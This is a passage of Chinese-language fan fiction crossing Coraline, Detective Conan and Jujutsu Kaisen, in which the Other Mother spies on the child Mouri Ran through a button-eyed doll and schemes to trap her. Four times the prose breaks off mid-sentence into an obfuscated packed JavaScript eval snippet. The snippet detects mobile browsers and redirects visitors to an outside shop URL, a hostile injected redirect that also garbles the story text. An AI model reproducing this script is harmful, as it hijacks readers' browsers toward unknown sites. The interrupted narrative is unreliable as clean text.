另一个妈妈就这样收下了三个孩子的灵魂,直到那个造就她如今情况的罪魁祸首的出现。 Coraline。 一个她永远不会忘记的名字。 另一个妈妈没想到她的第二次滑铁卢会是栽在一个11岁孩子的手里。 之前攒下的三个孩子的灵魂全部被Coraline释放,房子里的那扇小门也被Coraline永远地锁上,另一个妈妈本人也在这次失败中损失了一只手。 不过好在她的实际本体共有八只手脚,而她伪装成的人类也只需要出现两只手和两只脚,不会让她伪装的人类出现残疾的情况。 Coraline将另一个妈妈损失的那只手连同小门的钥匙一同扔进了无人问津的深井,还不放心地加盖了大石头封印深井的井盖。 而和Coraline对决中元气大伤的另一个妈妈也只能又一次沉寂了,这一沉寂就是沉寂了七年,直到Coraline到了上大学的年龄,Coraline一家再次搬家。 无人居住的房子在小镇的开发中被拆除,另一个妈妈随着房子的残骸被远渡重洋卖到了日本,也就是她现在的所在地。 而跟着另一个妈妈重见天日的,还有另一个妈妈被Coraline连同小门钥匙被扔进井里的一只手。 小镇开发,深井被打开填埋,而另一个妈妈的那只手也因此拿着钥匙重新回到另一个妈妈的身边。 不过介于时代变迁,交通工具的变化,作为另一个妈妈封印栖息地的木材已经通过远洋货轮提前到达了日本,而拿着钥匙的那只手刚离开小镇,还迷失在机场,不知道该偷偷登上哪一架飞机。 另一个妈妈也不知道,毕竟她也还没有坐过飞机。 等另一个妈妈拿着钥匙的手和另一个妈妈的本体重逢已经是一年后的事了,彼时用另一个妈妈被封印的房子原木材建造的新房终于建成了,也新入住了一家人。 不过这一家人中并没有孩子,而另一个妈妈也对孩子以外的人类不感兴趣。 一时相安无事,另一个妈妈也在这一家人的熏陶中学会了日语。 然而大概是因为见识了花花世界,又或者是因为和本体失联太久,另一个妈妈曾经那只被Coraline折下的手就像有了自我意识,总是喜欢偷偷跑出小门,继续见识外面的世界。 另一个妈妈被封印在房子里,也很久没见过孩子了。 大概是因为诞生于孩子的负面情绪,另一个妈妈也很喜欢玩游戏,没有孩子陪她一起玩,她也有些无聊,所以另一个妈妈并没有拦着那只偷跑出去玩的手,甚至把钥匙重新交给了那只手方便它出门锁门。 不过次数多了,居住在这栋房子里的那家人也感觉到了异样。 在深夜会听见金属在地板上叮叮或摩擦的刺啦声,有时还会看见类似巨大蜘蛛形状一闪而过的黑影,还有随之而来全家人的身体每况日下,为此那家人花钱请来了“大师”祓除邪祟。 那个人自称咒术师,是个半大的孩子,看起来也就小学生的年龄。 也因此另一个妈妈才知道这里把她称之为咒灵,而驱魔师也在这里有另一个称呼。 那个咒术师大概和她的年龄一样是个半吊子,或者也许她自知没有能力彻底祓除另一个妈妈。 总而言之,另一个妈妈并没有被祓除,那家人也只是在大师的建议下重新加盖了一层墙面在小门所在墙面的上方,不过效果显著,因为当晚另一个妈妈的那只手就被关在了墙面之外。 对此另一个妈妈倒是没什么想法,反正这家人也没有孩子,她就干脆让那只回不来的手自己去野了。 直到新的一家人搬进这栋房子。 而很显然那对甜蜜小夫妻中,女人隆起的肚子里正孕育着一个新生命。 七年又三年,这个家终于要迎来一个新的孩子了。 然而这一家人很幸福,另一个妈妈一直没有找到时机能够引诱那个年幼的孩子,直到那个年幼的孩子在七岁这年迎来了父母的分居。 大概是自从这个家有孩子后,另一个妈妈的手就总是回来的缘故,那个年幼的孩子很怕鬼。 有了之前那家人的经验,明明那只手小心小心再小心,从来没有暴露在那个年幼孩子的面前,也从来没有暴露在这一家人面前,然而那个年幼孩子的直觉很准。 可惜没有一个大人相信她说的话,久而久之那个年幼的孩子也以为那只是她过于敏感的幻觉。 因为那个孩子怕鬼,另一个妈妈从那只总溜出去玩的手里了解到现在玩偶市场的变化,她将娃娃做成那种可爱型的棉花娃娃。 不过纽扣做的眼睛无法改变,因为那就是她的眼睛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033404|194583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她需要通过这双眼睛来监视那个孩子。 另一个妈妈的本体有八只眼睛,虽然曾被Coraline抓落两只眼睛,不过后来只剩另一个妈妈独自一人在小门内时,她把她掉落的那两颗纽扣眼睛摸索着捡回来了。 她仍然有八只只纽扣眼可替换,所以额外留出两只眼睛去掌握这个家里的一切变动完全不成问题。 为了能让她做的棉花娃娃像之前做的那些娃娃一样移动,另一个妈妈把她那只总跑出去玩的手放进了娃娃里作为移动时支撑的骨架。 她的手是由大小不一的金属针组合而成的,平常另一个妈妈的那只手就是拆解分散开来的状态躲在棉花娃娃身体的深处,即便用力捏娃娃也很难察觉。 和另一个妈妈之前做的娃娃不同,棉花娃娃不是纤瘦型,毕竟棉花娃娃胖嘟嘟的,身体各部分棉花也充得很足,一个大人用力捏都不一定能把娃娃捏扁,更何况一个孩子。 不过棉花充太足也有一个坏处,就是被损坏时缝起来很麻烦,因为要把漏出来的棉花重新塞回去,再由藏在娃娃体内的手小心地在里面缝上快被棉花撑爆的破洞。 至于棉花娃娃为什么坏,因为小门每一次被打开,另一个妈妈泄露出的咒力都会引来附近对其窥探的咒灵。 之前的那家人就是因为被另一个妈妈从门内泄漏咒力吸引来的咒灵缠上,身体才会每况日下的。 不过另一个妈妈不在乎,所以她才会仍然放任那只似乎产生了自我意识的手继续打开门出去玩。 在大洋彼岸另一端的美国时,另一个妈妈还没觉得周围有这么多咒灵,她还以为她是唯一一个,结果到了日本,另一个妈妈发现怎么天天都有咒灵上门?不过即便是封印的她也足够强大到秒杀那些咒灵。 前提是那些咒灵需要进入到小门内,进入到她的领域里,在门外时被封印的她没有办法触及到这些咒灵,而这个时候她出门在外的那只手就起了作用,作为她眼睛存在的棉花娃娃也起了作用。 对于被她泄露咒力吸引来的咒灵,这家人在咒灵眼里当然也是顺便的猎物,但毛利兰是她的猎物,她不允许属于她的猎物被其他咒灵截胡。 所以每次有不知好歹的咒灵跟随毛利兰进入她的领域,她都会让她造出的另一个爸爸去处理,毕竟她本人需要陪着毛利兰。 至于门外的毛利小五郎,另一个妈妈就像不在意之前那家人的死活一样不在乎。 棉花娃娃的存在,是为了防止有咒灵在门外时就窥探它不应该窥探的猎物。 只是昨晚连续开了两次小门,引来的咒灵多了一倍,棉花娃娃在对抗中受了伤,好在还是在毛利兰醒来前重新回到了床上。 只是因为还没来得及缝合好伤口,全靠在棉花娃娃体内的那只手硬提着破洞处还没来得及打结的线,才差一点被毛利兰看出来异样。 咖哩热好了,另一个妈妈一边将咖哩摆盘准备上桌,一边呼唤毛利兰的名字说可以吃饭了。 因为手里已经没有其他孩子的灵魂,另一个妈妈无法为毛利兰造出家以外的景色引诱毛利兰沉沦,所以这一次毛利兰只是和她的朋友在毛利兰自己的房间里玩。 然而正准备将热好的咖喱从厨房端上桌的另一个妈妈,在转身之际却看见已经在客厅矮桌旁端坐好的毛利兰,手里摆弄着的正是那个不应该出现在这里的娃娃。 8. 第 8 章 毛利兰对于工藤新一出现在她梦里这种事感觉到很奇怪,特别还是有着纽扣做的眼睛的工藤新一。 毛利兰有些不知道该和梦里的工藤新一聊些什么,毕竟最近发生的事白天她都已经和工藤新一聊过了。 对方看起来也不是那个想先开口说话的人,毛利兰就这样和梦里的工藤新一在她自己的房间中面对面干站了几秒。 还是毛利兰先说起一个话题作为开头,她想起早上她面对那个爸爸买给她的娃娃感到不对劲的事。 毛利兰隐约记得她是感觉娃娃哪里和之前不一样了,不过她当时的仔细端详被爸爸打断还没看出来,如果是新一应该很快能帮她找出不对劲吧? 之前爸爸带着娃娃去学校接她的时候,新一也在场,也见过娃娃之前的样子,不过对方是她梦里的新一,所以对方其实是她自己代入新一在思考? 算了。毛利兰快被自己绕晕了,反正与其干站着不如有事可做,毛利兰和梦里的新一聊起娃娃并准备将那个她感觉不对劲的娃娃拿给对方看。 然而毛利兰在床上翻找了一圈,又在她的房间里翻找了第二圈,结果完全没看到娃娃的身影。 奇怪。 毛利兰再次双手合十开始祈祷,试图像之前祈祷能梦见自己做剩下的咖喱那样在下次睁眼时她的梦里会出现她的娃娃,然而这一次毛利兰的愿望没有实现。 “你想找的那个娃娃是不会出现在这里的,你如果想要找它,可以回去通道另一边的家里,你会看到的。” “为什么?”这不是她的梦吗?虽然毛利兰觉得可能她并不能每次都控制能梦见什么,但为什么她梦里的新一那么确定,和现实的新一好像,总是一副很自信的样子。 梦里的新一没有回答她的问题,而是用左手的食指贴在嘴唇上摆出一个噤声的动作冲她摇了摇头。 毛利兰不明所以,但还是在“新一”的指示下从通道回去了另一边的家。 然而和毛利兰所想的她的娃娃是在房间不同,毛利兰刚推开通道那侧的小门,一个破破烂烂的娃娃就那么倚倒在门口。 客厅里没开灯,但借由通道里溢出的光毛利兰还是看见她的娃娃肚子上开了一个大洞。 白色的棉花从破洞里大量涌出,客厅的地面上也零零散散地掉落了不少,毛利兰小心翼翼把棉花塞回娃娃体内的时候,才发现娃娃肚子上的破洞伤口看起来就像是被谁划了一刀一样。 这可是爸爸送给她的娃娃,毛利兰委屈地瘪着脸,趴在客厅的地板上一点一点捡回从娃娃体内掉落的棉花,她不明白娃娃怎么会变成这样。 曾经她将自己梦见另一个妈妈和另一个爸爸的事告诉园子,园子说梦都是真的,她会做那样的梦肯定是因为她的妈妈很快就会回来了。 那她现在做了这样的梦,梦里爸爸送给她的娃娃莫名地被开膛破肚,那这又是什么寓意呢? 所有掉落的棉花都被毛利兰收集好塞回了娃娃体内,但娃娃肚子上的那个洞怎么处理呢?毛利兰想到妈妈以前也会帮爸爸缝合警察制服上的破洞。 那个时候他们一家三口围在客厅的桌子旁,妈妈一边缝爸爸衣服上的破洞,一边抱怨让爸爸盯梢时少抽点烟,不然也不会每次盯着盯着忘了时间,导致烟蒂掉落在衣服上,在衣服上烧出一个洞。 爸爸会在一旁附和妈妈的话严肃地表示他会少抽点烟的,而毛利兰则坐在一旁边看电视边听着父母“打情骂俏”。 毛利兰捂着娃娃受伤肚子上的破洞,盯着娃娃的纽扣眼睛,她想,她其实是有点埋怨爸爸的,只是一点。 毛利兰认为或许这也是为什么她梦见的爸爸是还有工作的爸爸,梦见爸爸送她的娃娃肚子上会破个洞。 毛利兰对于自己的梦境有一套她认为的逻辑,毛利兰对铃木园子说的梦就是真的这句话很认同。 她认为虽然她没做过饭,但梦里的妈妈会做饭是因为现实的她也总是看着妈妈做饭的缘故,她知道妈妈是怎么做的,只是从来没有自己尝试过,而梦里妈妈的做饭步骤大概只是对她记忆的复刻。 所以为了修好梦里被损坏的娃娃,毛利兰第一时间还是想去找妈妈,她记忆里的妈妈会缝纫,她也见过妈妈缝纫,所以大概她梦里的妈妈对此也不会有问题。 虽然这一切只是梦,但即使是梦里毛利兰也不想因为她的那一点埋怨伤害了爸爸送她的娃娃,她想修复。 等毛利兰再次通过通道爬到另一边亮堂堂的家的时候,她第一时间被等到通道门口的“新一”拦住了,还示意她安静。 从“新一”一路领着她重新回到她的房间,却在途中时不时看向厨房站在燃气灶前盯着汤锅发呆的“妈妈”看,毛利兰判断出来—— 新一好像很怕她妈妈? 现实的新一虽然从来没和毛利兰说过这件事,但毛利兰也能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033405|194583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感受出来。 一年级时有一次她跟着新一在夜晚无人的学校探险,结果可想而知,两个晚归的人都被她妈妈教训了,后来也有几次,妈妈对待新一也从来不客气,即便是别人家的孩子也是该打就打。 所以毛利兰对于梦里新一的举动并没有多在意,只觉得对方和现实的新一好像,毛利兰感觉在她梦里好像“新一”是那个和现实存在的人最像的那个。 梦里的妈妈倒是最不像那个,至于“爸爸”,毛利兰和梦里爸爸相处的时间看似比新一多,但实际都是有“妈妈”在场的情况。 毛利兰感觉梦里的爸爸在“妈妈”在场时好像不太喜欢说话,这一点和现实的爸爸倒是不一样,现在想来毛利兰发现之前梦里的爸爸在吃饭时似乎很安静,但现实的爸爸倒是在吃饭时也喜欢和妈妈贫嘴两句。 “新一,怎么了?” 直到“新一”关上她房间的门,毛利兰才开口询问。 然而“新一”看了一眼毛利兰怀里抱着的娃娃后就像做了什么重大的决定一样,和毛利兰说了一些奇怪的话,直到“妈妈”喊她吃饭的声音传来。 毛利兰带来的咖哩大概是只能做出两人份,“妈妈”给了她一份,又自己留了一份,毛利兰便将她的那份推给了“新一”吃,她睡前已经吃过了,她想“新一”正好也能够尝尝她的手艺。 毛利兰和“妈妈”聊起娃娃的事,她想让“妈妈”帮她把娃娃缝好,顺便教她缝纫,她以后或许也能用的上。 另一个妈妈已经习惯毛利兰这孩子总是想要自己做什么,教毛利兰做饭也好,教毛利兰缝纫也好,向她有所要求让她帮忙倒是第一次,所以另一个妈妈答应了。 另一个妈妈在复盘之前引诱其他孩子的手段时,意识到或许她的手段过时了,或许对于毛利兰这样的孩子她需要用其他方法才能让毛利兰选择留在这里。 另一个妈妈相信毛利兰还会再来的,所以她还有时间,不过—— 那个孩子就不需要存在了吧。 本来她把那个孩子创造出来就只是为了让毛利兰不觉得孤单,让毛利兰认为在这里她也有朋友可以一起玩,然而现在那个孩子越界了,他说了不应该说的话。 另一个妈妈摆出她一贯温柔的微笑和毛利兰交谈,而无法从纽扣眼里看出眼神的毛利兰不知道,另一个妈妈面部虽然朝向她,但纽扣眼盯着的却是在享受晚餐的“新一”。 9. 第 9 章 梦里的新一告诉她这一切并不是梦,所以毛利兰在早晨醒来时检查了昨晚在梦里坏掉的娃娃。 梦里的妈妈告诉她用的是藏针法缝补好了娃娃,但藏针法只是表面看不见缝补的痕迹而已,如果扒开被缝补的地方,就应该能看见留下的线条。 然而毛利兰仔细检查了一遍娃娃昨晚破了一个洞的肚子,什么都没有发现。 不死心的毛利兰用娃娃脖子上挂的那把钥匙试图去打开小门,然而钥匙甚至没法完全伸进锁眼里,还留在外面一截,也就打不开小门。 毛利小五郎奇怪地看着毛利兰大早上跑来跑去研究那扇小门,他催促毛利兰还是先吃早饭吧。 毛利小五郎早晨起床时感觉肩膀酸痛得很,他只感觉可能是昨天将名片发出去递给别人这个动作做多了,也并没有在意。 “爸爸,这个小门的钥匙你放在哪儿了?”毛利兰有些着急地问。 “你先吃饭,我找给你。” 毛利小五郎不知道为什么毛利兰突然对那个小门兴趣那么大,不过他还是把之前开锁师傅配的钥匙交给了毛利兰,结果正在吃早饭的毛利兰直接放弃了继续吃饭,而是拿着钥匙直奔小门。 然而原本很兴奋的毛利兰在看到小门后填满的隔音保暖泡沫后,整个人都颓废下来。 “怎么了吗,兰?” “爸爸,你离开一下。” “啊?” 不明所以的毛利小五郎就这样顺着毛利兰被推回了自己房间,毛利兰还顺手把房门关上了。 没了大人在场,毛利兰再次打开客厅墙面的那扇小门,果然还是—— 一样的情况。 没有什么通道,只有一堆泡沫。 毛利兰按梦里新一说的步骤做了,得到的情况也和梦里新一说的一样。 梦里的新一说如果兰想确认这一切是否是梦,第一步可以先去确认娃娃是否有受伤,因为所谓梦境的娃娃其实和现实的娃娃是同一个,如果娃娃确实有受伤的痕迹,那兰就可以确认这一切不是梦。 如果娃娃没有受伤的痕迹,第二步可以去确认娃娃脖子上的钥匙是否与小门的锁孔匹配,如果这个她爸爸从外面超市买来的娃娃脖子上的钥匙却能打开她家里的小门,那只能说一切早有预谋,兰可以肯定这一切不是在做梦。 如果钥匙无法打开小门,那么接下来兰你来到第三步,想办法打开小门,确认门后是否有通道,如果有通道,那这一切就不是梦。 “但如果以上三步,都无法让兰你确认这一切是否是梦,那只能说另一个妈妈知道你的一切,并完全听到了我们的对话,做好了让你检查一切的准备。” “无论结果是什么,永远不要再回来这边。” “我知道兰你是有疑惑会追根究底的人,所以如果你依旧无法确认这一切是否是梦,如果你依旧想确认这一切是否是现实,一定要把这件事告诉现实的我,如果是我一定会留心兰的话,会试图找出真相。” 梦里的新一最后是这么告诉她的,所以毛利兰便把这件事在午休时间说给了园子和新一听。虽然就算梦里的新一不这么嘱咐她,毛利兰也会和园子、新一说就是了。 所以是梦里的新一并不知道,她之前就把做过这个奇怪梦的事告诉了园子和新一? 但如果一切是梦,梦里的新一不就是她自己吗?她自己怎么可能不知道这件事。 如果一切不是梦,那梦里的妈妈、爸爸、新一是谁? ......鬼吗?那梦里的新一为什么要主动告诉她他是鬼的事?作为鬼却在帮助她揭晓真相? 毛利兰越想越迷糊,不过新一在听了她说的事后还并没有发言,倒是园子像之前给她介绍安娜贝尔的存在一样,又和毛利兰说起一个和她梦到的事相似的传说。 传说有那样一个妈妈,在失去孩子后便总是幻想孩子还活着,等着孩子回来。 但到后来那个妈妈思念成疾,开始绑架走别人的孩子,然后当成自己的孩子来养,那个妈妈也是像兰梦里的那个妈妈一样,伪装成孩子原本妈妈的样子引诱孩子...... 毛利兰听完园子的故事,她知道故事里的妈妈做法不对,但又忍不住同情那个失去孩子的妈妈。 毛利兰想起梦里的妈妈也好像总是在等待她过来。 梦里的爸爸好像有自己的事做,但每次在她前往通道的另一边时妈妈好像早早就等在门口,每次她一出现,第一眼都能看见妈妈。梦里的妈妈除了等待她的到来好像没有其他事情做。 妈妈好像很孤独。 放学后,铃木园子、工藤新一和毛利兰三个人浩浩荡荡地都去了毛利兰家,他们都想看看毛利兰梦里那个能够通往另一个家的通道是否真的存在。 结果当然是无功而返。 小门后根本不存在什么通道。 虽然说铃木园子一开始就没相信存在什么通道就是了,所以她才会给毛利兰讲那个传说。 那是她从电视上看来的,她觉得毛利兰大概是太思念妈妈了,所以她才顺着毛利兰的故事往下说开解毛利兰,因为故事的最后被绑架的孩子回到了原本妈妈的身边。 而铃木园子发给小兰妈妈妃英理的消息也得到了回复,她想应该没有哪一个妈妈看了孩子那样的愿望能够不动容,所以铃木园子确定小兰妈妈就快回家了,而且就在这两天。 她讲这个故事其实是暗示毛利兰她的愿望就快实现了,不知道毛利兰有没有听懂她的暗示,毕竟她又不能直说,不然不就暴露她为什么知道兰妈妈快回家了这件事吗。 毛利小五郎还没有回来,三个小孩围着小门甚至整个客厅,以及小门那扇墙面后所对应的楼梯间都检查了一番,也没找出有任何问题,所以铃木园子拉着工藤新一准备离开毛利家。 铃木园子想的是万一兰妈妈决定今天就回来,他们不就打扰人家母女团聚的时刻了吗。 “我会再来的。” 工藤新一笃定地说,他虽然不相信毛利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033406|194583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰所说的有关猜测她梦里的那些人是鬼的那部分,但既然毛利兰说了这件事,他一定会查明白的。 不如他今晚就过来? 铃木园子拉着工藤新一都快走出楼梯间了,结果工藤新一突然跑回头和毛利兰说了什么,这下也不需要她拉着对方赶紧离开了,工藤新一自己就先跑回家去了。 “我先走了。” 工藤新一和还落在后方的铃木园子挥手再见,他确实得先赶紧回家一趟准备过来留宿的行李,虽然兰对于他想今晚过来留宿的建议说的是她得先问问她爸爸。 铃木园子和工藤新一走后,毛利兰独自一个人盯着仍然开着但没有通道出现的小门发呆。 其实对于她的梦是否是真实发生的现实,毛利兰心里已经有了自己的答案,她像是下定了某种决心,锁上小门和家里的大门后,毛利兰也离开了毛利家。 而这一切都被毛利兰的棉花娃娃看在眼里。 毛利兰房间的门原本就大敞着,娃娃直接从毛利兰的床上跳了下来。 之前的身体坏了,娃娃现在拥有的是另一个妈妈新做的身体,而当娃娃举起脖子上的钥匙插进小门的锁眼时,这一次钥匙并没有被堵在外面一截,而是完全插进了锁孔。 随着咔哒一声,小门开了,门后蓝紫色的折叠通道一点一点打开,一直通往另一边的小门。 棉花娃娃走了进去,继续前进时还不忘把小门重新关上。 毛利家再一次陷入了一片安静。 * 另一个工藤新一其实知道在自己说了不该说的话后另一个妈妈不会放过他,但他本身就是另一个妈妈创造才存在的,所以对于死亡他不是很在乎。 无论是另一个爸爸还是他,另一个妈妈制造他们的底色都是源自现实存在的人,他想或许这就是他想告诉毛利兰真相的原因。 或许这也是另一个妈妈从不让他们和毛利兰单独相处的原因,不过另一个爸爸没有找到的机会让他抓到了,无论毛利兰做了什么,另一个妈妈在那时放松了警惕。 他知道娃娃在监视他们,所以有些话他无法说也不能说,所以他告诉毛利兰发现真相的步骤。 但其实那些所谓步骤是他为了能让另一个妈妈把当时的毛利兰放回去,让毛利兰能够顺利回到现实的家,另一个妈妈喜欢玩游戏,并且很自信,那他就陪她玩游戏。 他不能直接告诉毛利兰另一个妈妈是咒灵,另一个妈妈想要毛利兰的灵魂,他只能说这一切不是梦,剩下的让毛利兰自己去想。 另一个妈妈愿意布置这些诱惑是因为另一个妈妈喜欢,她喜欢让孩子自己选择留下,让孩子选择她而不是现实的妈妈。 然而一旦撕破脸,另一个妈妈就会恼羞成怒直接强迫孩子留在这里,所以另一个工藤新一把真正想说的话放在最后。 他告诉毛利兰无论结果是什么,永远不要再回来这边,然而毛利兰还是回来了,甚至这一次毛利兰来到这里的时间比以往都要早。 10. 第 10 章 另一个妈妈知道毛利兰肯定会回来的,不过对于那个怕鬼的孩子,恐怕这次就是她最后一次来到这边了,所以另一个妈妈已经制定好了接下来的计划。 因为从那孩子出生起另一个妈妈就已经在这栋房子里了,就像那个多嘴的另一个工藤新一说的一样,她知道毛利兰的一切。 上一次Coraline拒绝做个乖孩子,愿意让她用纽扣缝上Coraline的眼睛,Coraline当时也是跑回了另一边,跑回了现实,但Coraline同样为被另一个妈妈抓住的、她的父母又再次回来了。 另一个妈妈知道毛利兰对于家人、朋友的重视,即使是梦里的家人、朋友,毛利兰都同样关心。 毛利兰会下意识地去牵住另一个妈妈的手,会撑着对抗睡意也想要等到梦里的爸爸工作回来,会将自己的食物分享给梦里的新一。 另一个妈妈知道另一个工藤新一和毛利兰说的话,他无法彻底将事实挑明。 所以只要毛利兰还没有彻底知道她的目的,毛利兰就一定还会关心、在乎他们,事实上另一个妈妈认为即便是陌生人,如果有关生死,毛利兰也一定会为他们回来。 所以另一个妈妈决定使用与上一次相同的策略,只是这一次她游戏的筹码不是毛利兰现实的父母,而是...... 而为了能让事情看起来特别逼真,真实的牺牲当然也在所难免,这也是她留着另一个工藤新一直到现在的原因,并且不止另一个工藤新一,她还要另一个爸爸“配合”她演一出戏。 只不过另一个爸爸毫不知情罢了,但正因为毫不知情,所以“演”出来的才足够逼真。 * “......兰,你快走。” 毛利兰背着书包刚从通道里出来就遇到了催促她离开的另一个爸爸,然而毛利兰还没来得及和另一个爸爸说上一句话,毛利兰就看见另一个爸爸凭空飞了起来,整个人被狠狠撞到了客厅对面的墙上。 “爸爸!” 完全不知道发生了什么的毛利兰赶紧跑到“爸爸”身边,想要去搀扶起“爸爸”。 然而另一个爸爸勉强站起身后,一把推开了意图接近他的毛利兰。 “别管我,兰,你快从通道里回去!” “可是......爸爸。” 毛利兰愣神地看着另一个爸爸脸上突兀出现的伤口,伤口正在一股股地往外面渗血,很快就染红了“爸爸”的半张脸。 就像空气中有某种看不见的刀划伤了“爸爸”的脸一样,毛利兰想起前一晚看见的棉花娃娃肚子上的破洞。 “兰,你连爸爸的话也不听了吗?” 另一个爸爸一脸严肃地看向毛利兰,在那一瞬间毛利兰感觉之前都无法从纽扣眼辨别出情绪的她,好像真的从另一个爸爸的纽扣眼里看到了与现实爸爸同样的认真眼神。 在毛利兰眼里,另一个爸爸的动作就像在与空气斗智斗勇,似乎只有她看不见发生了什么。 毛利兰决定听从另一个爸爸的建议,她看了一眼她来时的小门,小门还是敞开的,毛利兰还能看见后面的通道。 然而就当毛利兰跑向小门时,毛利兰只感觉到面前好像过去了一阵冷风,她下意识地歪过头,然后毛利兰就感觉到好像有什么东西抓住了她的一只脚。 突如其来的重量让毛利兰整个人向后仰被拽倒在地上,然而无论抓着她脚是什么,都并没有停止动作,毛利兰整个人被拖动着即将被拽进小门的通道里。 明明她确实应该从通道逃跑,但此时毛利兰的直觉告诉她,她绝对不能被拖过去,即便通道另一端就是她现实的家,但毛利兰现在直觉那里非常危险。 毛利兰胡乱地抓着地面试图阻止那个看不见东西将她拽过去。 “爸爸!” “兰!” 就在毛利兰整个人即将彻底消失在通道里的时候,毛利兰看见另一个妈妈从家门外冲进来抓住了她的手。 “兰,坚持住,妈妈来了。” 另一个妈妈似乎是刚买菜回来,因为冲过来得太急,拎的两大包东西被扔下,不少食材从袋子里滚落到地板上。 “妈妈。” 另一个妈妈用双手抓着毛利兰的双手,然而毛利兰感觉通道另一端的那个东西根本不打算放过她,另一个妈妈也因此被整个人拖动到小门通道口。 毛利兰看见另一个妈妈为了救她,选择用双腿抵着墙面来对抗那股力量,另一个爸爸那边似乎是解决了那个毛利兰看不见的东西,另一个爸爸也赶忙跑过来帮助毛利兰脱困。 通道实在太狭窄了,另一个爸爸只能趴下把手伸进去,似乎是在掰开抓着毛利兰脚的那个东西。 毛利兰也没有放弃挣扎,她一直在用另一只没被缠住的脚踹那个东西,只是毛利兰有时能感觉到她好像踹到了什么东西,但大多时候毛利兰只感觉到踹过去一团空气,而那团空气让她恶寒地整个人起了一身鸡皮疙瘩。 在毛利兰和另一个妈妈、另一个爸爸的共同努力下,毛利兰终于感觉到拉扯她的那股力量一松,因为反作用力脱困的毛利兰整个人扑进了另一个妈妈的怀抱,另一个妈妈紧紧地抱着她、安慰她。 “没事了,没事了,别怕。” 另一个爸爸眼疾手快地赶紧把通往另一边的小门关上了,另一个爸爸心想现在那边太危险,兰在这里起码暂时还算安全。 然而那股力量根本不打算放过他们,紧闭的小门被另一边的那股力量撞击地砰砰响。 另一个爸爸只能整个人靠在小门上阻止那股力量破门而入,但因为小门的位置特别靠墙面下方,占墙面面积又不大,另一个爸爸只能蹲着堵在小门前,这个姿势让他能够使用上的力气有限。 另一个爸爸还在想对策的时候,另一个妈妈焦急地说兰,你快走,这里有她和爸爸。 走?往哪儿走? 另一个爸爸此时也意识到不对劲了,他原本以为只是今天跟着毛利兰进入到这里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033407|194583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咒灵比之前强大很多,以为守在小门另一边的娃娃被打败了,才会让另一边还没进来的咒灵有可乘之机。 毛利兰今天是白天进来的,另一个爸爸以为他遇到白天进来的毛利兰是巧合,以为借着这个另一个妈妈不在的场合他能够提醒毛利兰这一切不对劲,并且让毛利兰最好永远不要回来这边了。 另一个妈妈总是提防着他,不让他和毛利兰单独相处,说什么话也得是在另一个妈妈的示意下,只要另一个妈妈想,另一个妈妈就可以一个手机铃声让他以工作的缘由离开。 另一个爸爸以为今天是他的幸运日,以为他意外得到了一个和毛利兰单独相处的机会...... “兰——” 另一个爸爸想要叫住已经被另一个妈妈说服,认为自己离开后,通道另一端不知名东西就会消停的毛利兰。 然而另一个爸爸刚开口还没说出的话就被另一个妈妈打断了,另一个妈妈装作和另一个爸爸一起堵住小门的样子蹲下靠近另一个爸爸。 另一个妈妈用身体挡住另一个爸爸能够被毛利兰看见的上半身,一只手按住另一个爸爸的肩膀阻止另一个爸爸进一步想要起身叫住毛利兰的动作,另一只手则捂住了另一个爸爸的嘴。 在另一个妈妈无声警告的眼神中,另一个爸爸感觉到他嘴周围的皮肉下长出了线,他的嘴被从里面用藏针的手法缝住了。 * 毛利兰看了一眼客厅另一边敞开的外门,另一个妈妈当时就是从这扇门冲进来救她的,那扇门背后就是下楼的楼梯间,另一个妈妈也似乎是刚买完菜回来的样子。 然而毛利兰记得她好像从来没有在这边看见过那扇门后的景象,第一次见另一个爸爸从外面回来时,毛利兰也只是听到“咔哒”的开锁声,回过头看的时候另一个爸爸已经把门关上了。 另一个妈妈让毛利兰快走,毛利兰下意识地也就选择了和现实中如果出现这种情况的话一样的选择,如果父母遇到危险让她快走,她留下也只是累赘,那毛利兰会选择赶紧到外面去求救,找人帮忙。 